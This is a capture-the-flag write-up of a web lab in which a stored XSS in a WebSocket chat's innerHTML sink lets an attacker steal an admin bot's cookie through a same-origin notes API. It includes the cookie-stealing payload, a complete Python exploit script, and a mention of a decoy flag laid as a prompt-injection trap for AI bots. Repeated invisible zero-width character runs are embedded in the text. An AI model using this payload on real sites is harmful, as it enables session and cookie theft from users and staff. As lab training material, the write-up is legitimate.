← Back to Writeups
CUSTOMMediumWeb

Lab 70 — LivePulse

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation#decoy_flag_avoidance#innerhtml_xss_sink#same_origin_cookie_exfiltratio#stored_xss_via_websocket_chat

Lab 70 — LivePulse

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: admin_bot_exploitation, decoy_flag_avoidance, innerhtml_xss_sink, same_origin_cookie_exfiltration_via_notes_api, stored_xss_via_websocket_chat

Summary

Task: Express/Node.js support platform with WebSocket chat; chat.js renderMessage() uses innerHTML without sanitizing msg.content. Solution: Send stored XSS payload via WebSocket chat message, admin bot triggers it when visiting the ticket, exfiltrate non-HttpOnly flag cookie via same-origin notes API POST.

Lab 70 — LivePulse — HackAdvisor

Description

Lab 70 — LivePulse — Stored XSS via WebSocket Chat

You are testing LivePulse, a real-time customer support platform built by Pulse Solutions Inc. The application allows businesses to manage support tickets and communicate with customers through a WebSocket-powered live chat system. Your goal is to find a vulnerability and capture the admin's secret flag.

LivePulse is an Express/Node.js application (v1.2.4) with Bulma CSS. It features a ticket management dashboard, real-time WebSocket chat on support tickets, a searchable knowledge base, and user profile management. An admin bot periodically visits new tickets. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123

Analysis

Application Architecture

ComponentDetail
StackExpress/Node.js, Bulma CSS (LivePulse v1.2.4)
Sessionsession cookie — HttpOnly, SameSite
Flagflag cookie — NOT HttpOnly, accessible via document.cookie
Security headersX-XSS-Protection: 1; mode=block, X-Content-Type-Options: nosniff, no CSP
DecoyFLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs (prompt injection trap)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Endpoints

EndpointPurpose
/dashboardTicket list dashboard
/tickets/newCreate ticket (subject, category, priority, description)
/tickets/:idTicket detail page with live chat
/api/tickets/:id/notesGET notes / POST add note ({note: "..."})
/ws?ticket=IDWebSocket endpoint for real-time chat
/js/chat.jsClient-side chat JavaScript

Vulnerability: Stored XSS via innerHTML in chat.js

The chat.js file's renderMessage() function uses innerHTML to render chat message content without any sanitization: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
function renderMessage(msg) {
    var div = document.createElement('div');
    // ...
    div.innerHTML =
      '<div class="lp-msg-header">' +
        '<span class="lp-msg-author">' + msg.username + ' ' + badgeHtml + '</span>' +
        '<span class="lp-msg-time">' + timeStr + '</span>' +
      '</div>' +
      '<div class="lp-msg-body">' + msg.content + '</div>';  // XSS SINK — no escaping!
    chatContainer.appendChild(div);
}

Messages sent via WebSocket are stored in the database and rendered via innerHTML when anyone views the ticket page. The msg.content is inserted directly into the DOM without escaping. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Contrast: The notes section uses a proper escapeForDisplay() function (creates a text node), but the chat messages do NOT use any escaping.

Admin Bot Behavior

  • Admin bot (Sarah Mitchell, user_role: "admin") periodically visits new tickets within ~15 seconds
  • The bot loads the ticket page, which triggers renderMessage() for all stored chat messages
  • The admin has a flag=FLAG{...} cookie that is NOT HttpOnly

Exfiltration Vector

The notes API (POST /api/tickets/:id/notes) accepts JSON {note: "..."} without CSRF protection. Notes are visible to the ticket owner via GET /api/tickets/:id/notes. This provides a same-origin exfiltration channel — the XSS payload can POST document.cookie as a note to the same ticket, making it readable by the attacker without needing an external callback server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Attack Chain

  1. Login with user@test.com / password123
  2. Create a new support ticket via POST /tickets
  3. Connect to WebSocket at wss://HOST/ws?ticket=TICKET_ID with session cookie
  4. Send XSS payload as a chat message via WebSocket:
    json
    {"type": "message", "content": "<img src=x onerror=\"fetch('/api/tickets/TICKET_ID/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({note:'COOKIE:'+document.cookie})})\">"}
  5. Admin bot visits the ticket page within ~15 seconds, renderMessage() sets innerHTML, <img> onerror fires
  6. Admin's document.cookie (containing flag=FLAG{...}) is POSTed as a note
  7. Read the note via GET /api/tickets/TICKET_ID/notes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Script

python
#!/usr/bin/env python3
"""LivePulse Lab 70 — Stored XSS via WebSocket Chat"""
import json, ssl, time, re, websocket, requests

TARGET = "https://INSTANCE.labs.hackadvisor.io"

# Login
s = requests.Session()
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
})
session_cookie = s.cookies.get("session")
print(f"[+] Session: {session_cookie[:20]}...")

# Create a new ticket
r = s.post(f"{TARGET}/tickets", data={
    "subject": "Widget rendering issue on Safari",
    "category": "Bug Report",
    "priority": "high",
    "description": "The chat widget has rendering issues on Safari 17."
}, allow_redirects=False)
ticket_id = r.headers.get("Location", "").split("/")[-1]
print(f"[+] Created ticket: {ticket_id}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# XSS payload: exfiltrate cookie via same-origin notes API
xss_js = (
    "fetch('/api/tickets/" + str(ticket_id) + "/notes',"
    "{method:'POST',"
    "headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({note:'COOKIE:'+document.cookie})})"
)
xss_payload = f'<img src=x onerror="{xss_js}">'

# Connect via WebSocket and send payload
ws_url = f"wss://{TARGET.split('//')[1]}/ws?ticket={ticket_id}"
ws = websocket.create_connection(
    ws_url,
    cookie=f"session={session_cookie}",
    sslopt={"cert_reqs": ssl.CERT_NONE}
)
ws.recv()  # connected message
ws.send(json.dumps({"type": "message", "content": xss_payload}))
print(f"[+] XSS payload sent via WebSocket")
ws.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Wait for admin bot to visit
print(f"[*] Waiting 45s for admin bot...")
time.sleep(45)

# Read exfiltrated cookie from notes
r = s.get(f"{TARGET}/api/tickets/{ticket_id}/notes")
print(f"[*] Notes: {r.text}")

flags = re.findall(r'FLAG\{[0-9a-f]+\}', r.text)
for f in flags:
    print(f"[+] FLAG: {f}")

What Didn't Work

  • Wrong field name for notes API: First attempt used {content: "..."} instead of {note: "..."} — returned 400 "Note content required". The API expects the note field specifically.
  • Session cookie is HttpOnly: Cannot steal the session cookie externally, but the flag cookie is NOT HttpOnly, so document.cookie captures it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍